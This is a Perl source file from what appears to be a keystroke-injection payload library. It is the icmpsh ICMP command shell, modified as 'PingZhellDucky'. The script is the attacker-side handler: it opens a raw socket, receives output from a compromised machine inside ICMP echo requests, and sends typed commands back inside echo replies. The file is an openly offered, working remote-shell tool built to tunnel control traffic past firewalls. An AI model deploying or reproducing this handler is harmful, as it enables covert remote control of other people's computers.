Path: blob/master/payloads/library/remote_access/PingZhellDucky/PingZhellDucky.pl
2964 views
#!/usr/bin/env perl1#2# icmpsh - simple icmp command shell3# Copyright (c) 2010, Nico Leidecker <[email protected]>4# This program is free software: you can redistribute it and/or modify5# it under the terms of the GNU General Public License as published by6# the Free Software Foundation, either version 3 of the License, or7# (at your option) any later version.8#9# This program is distributed in the hope that it will be useful,10# but WITHOUT ANY WARRANTY; without even the implied warranty of11# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the12# GNU General Public License for more details.13#14# You should have received a copy of the GNU General Public License15# along with this program. If not, see <http://www.gnu.org/licenses/>.16#17# Modified by 0i41E for PingZhellDucky18#19#20#21#222324use strict;25use IO::Socket;26use NetPacket::IP;27use NetPacket::ICMP qw(ICMP_ECHOREPLY ICMP_ECHO);28use Net::RawIP;29use Fcntl;3031print "Loading PingZhellDucky...\n";3233# create raw socket34my $sock = IO::Socket::INET->new(35Proto => "ICMP",36Type => SOCK_RAW,37Blocking => 1) or die "$!";3839# set stdin to non-blocking40fcntl(STDIN, F_SETFL, O_NONBLOCK) or die "$!";414243#Unnecessary print output - just for fun44sleep(2);45print ". .\n";46sleep(1);47print ". . .\n";48sleep(1);49print ". . . .";50sleep(2);51print "PingZhellDucky client ready!\n";52my $input = '';53while(1) {54if ($sock->recv(my $buffer, 4096, 0)) {55my $ip = NetPacket::IP->decode($buffer);56my $icmp = NetPacket::ICMP->decode($ip->{data});57if ($icmp->{type} == ICMP_ECHO) {58# get identifier and sequencenumber59my ($ident,$seq,$data) = unpack("SSa*", $icmp->{data});6061# write data to stdout and read from stdin62print $data;63$input = <STDIN>;6465# compile and send response66$icmp->{type} = ICMP_ECHOREPLY;67$icmp->{data} = pack("SSa*", $ident, $seq, $input);68my $raw = $icmp->encode();69my $addr = sockaddr_in(0, inet_aton($ip->{src_ip}));70$sock->send($raw, 0, $addr) or die "$!\n";71}72}73}7475